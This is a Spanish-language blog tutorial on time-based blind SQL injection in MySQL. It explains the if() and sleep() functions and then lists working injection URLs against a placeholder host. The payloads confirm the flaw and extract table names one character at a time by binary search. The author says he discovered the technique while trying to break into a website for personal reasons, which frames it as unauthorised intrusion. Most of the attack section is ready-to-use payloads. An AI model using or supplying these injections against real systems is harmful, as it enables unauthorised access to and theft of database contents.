q3rv0

Follow the white rabbit….

Blind Mysqli Time Based [Teoria]

Mientras “auditaba” una web, lo digo entre comillas por que no me dedico a eso en lo laboral, mas bien me encontraba tratando de ingresar a un sitio por cuestiones personales, me encontre con una variante de inyeccion sql dando por descartado las demas a travez de las respuestas que generaba el servidor, una “Blind mysqli basada en tiempo”, paso a explicar a quienes no se encuntren familiarizados con este tipo de inyeccion. Basicamente una “Blind mysqli basada en tiempo” se trata de inyectar a ciegas como toda blind, en mi caso utilizando la tecnica de busqueda binaria (la mas comunmente utilizada en estas situaciones) pero se da cuando la aplicacion muestra el mismo mensaje TRUE OR FALSE, es decir que da los mismo inyectar un OR 1=1 que un OR 2+5/87=9999999999 el sitio web nos seguira mostrando el mismo mensaje de error, o puede deberse a realizar una carga incorrecta del contenido web, o cualquier otra desvariacion en el sitio, da lo mismo la aplicacion resulta vulnerable pero no podremos deducir cual es la inyeccion correcta. Para estas situaciones, podemos hacer uso de la funcion sleep() y la estructura condicional if(), ahora paso a explicar la sintaxis de cada una de estas.

La sintaxis de if es la siguiente:

if(“condicion”,“si la condicion se cumple”,“si la condicion no se cumple”)

Por ejemplo:

1
2
3
4
5
6
7
mysql> select if(1=1, 'Verdadero es igual!', 'Falso no es igual!');
+------------------------------------------------------+
| if(1=1, 'Verdadero es igual!', 'Falso no es igual!') |
+------------------------------------------------------+
| Verdadero es igual!                                  |
+------------------------------------------------------+
1 row in set (0.00 sec)

sleep() se utiliza para producir una pausa de tantos segundos, vamos a combinarlo con if() e imponerlo si la condicion no se cumple.

1
2
3
4
5
6
7
mysql> select if(1='q3rv0', 'Verdadero es igual!', sleep(3));
+------------------------------------------------+
| if(1='q3rv0', 'Verdadero es igual!', sleep(3)) |
+------------------------------------------------+
| 0                                              |
+------------------------------------------------+
1 row in set, 1 warning (3.00 sec)

Como vemos la condicion dio como resultado falsa y se le introdujo un retardo de 3 seg ante dicha respuesta.

ahora se pueden imaginar el resultado del vector al combinar ambas funciones con una blind sqli??

No se trata de nada rebuscado, solo hay que utilizar como condicion el vector sqli para dicha inyeccion por ejemplo:

Empezemos desde cero, supongamos que encontraron una web vulnerable que da con el perfil de este tipo de inyeccion y queremos verificar que en realidad se trata de esta, comenzariamos por introcir el siguiente vector en el parametro devil.

1
2
3
http://vuln-bsqli-based-time/?devil=5 or 1=if(1=1,sleep(5),0)--   > 5 segundos(TRUE)
 
http://vuln-bsqli-based-time/?devil=5 or 1=if(1=9999,sleep(5),0)--  > FALSE

Ahora ya nos damos una idea de como inyectar en la aplicacion comenzando por obtener el listado de las tablas en la base de datos, normalmente en una blind sqli seria de la siguiente manera:

1
2
3
4
5
6
7
8
9
http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>15-- TRUE
 
http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>50-- TRUE
 
http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>100-- FALSE
 
http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>68-- FALSE
 
http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=67-- TRUE

Veamos como queda armado el vector haciendo uso de nuestro amigo “el tiempo”:

1
2
3
4
5
6
7
8
9
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>15,sleep(5),0)-- TRUE 5 segundos
 
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>50,sleep(5),0)-- TRUE 5 segundos
 
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>100,sleep(5),0)-- FALSE
 
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>68,sleep(5),0)-- FALSE
 
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=67,sleep(5),0)-- TRUE 5 segundos

Sencillo, lo unico que tiene de rebuscado esta tecnica es mantener la paciencia mienstras se lleva a cabo la inyeccion manualmente.